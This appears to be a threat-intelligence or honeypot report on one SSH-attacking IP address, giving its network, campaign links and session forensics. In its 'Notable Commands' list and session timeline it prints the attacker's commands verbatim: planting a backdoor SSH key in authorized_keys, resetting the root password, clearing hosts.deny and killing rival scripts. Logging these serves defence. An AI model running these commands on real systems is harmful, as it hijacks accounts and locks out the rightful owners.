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154.81.15.82
Location
🇸🇨 SC
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
338
Top 10% by volume
Agent Count
1
First / Last Seen
2026-05-15 19:59 — 2026-05-15 21:14
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (437 IPs, 72 countries)
HASSH
Active
high
🇺🇸 US
437 IPs
164933 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 437 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Tencent Building, Kejizhongyi Avenue (AS132203). …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
47 IPs
14138 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 47 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
38 (5 with login)
Avg Depth Score
0.27
Commands Executed
63
Files Downloaded
7
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:BPZYpWGOE83D"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:t1br9l5Wu334"|chpasswd|bash
- echo "root:26z3rvR7LQbZ"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
79b818870e17
15%
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SSH-2.0-libssh_0.9.6
Scanner
c08c7b2820dc
15%
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SSH-2.0-libssh_0.9.6
Scanner
b08b63e7d3b9
15%
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Scanner
7d1662465d9c
15%
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SSH-2.0-libssh_0.9.6
Scanner
eb22d199d05b
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
3cac8bc78106
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
db2e202aa100
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
f531830cff80
15%
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SSH-2.0-libssh_0.9.6
Scanner
d3159b36d936
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
7134f0267eb2
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:BPZYpWGOE83D"|chpasswd|bash
Malware Dropper
6b7015cbc911
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:t1br9l5Wu334"|chpasswd|bash
Scanner
286e9b811c9b
15%
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SSH-2.0-libssh_0.9.6
Scanner
1a3b830dd397
15%
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SSH-2.0-libssh_0.9.6
Scanner
acd6ec934624
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
ff674bc0c554
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:26z3rvR7LQbZ"|chpasswd|bash
Scanner
ddb0c7c93a84
15%
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SSH-2.0-libssh_0.9.6
Scanner
578d29ae52e4
15%
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SSH-2.0-libssh_0.9.6
Scanner
882fe7288920
15%
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SSH-2.0-libssh_0.9.6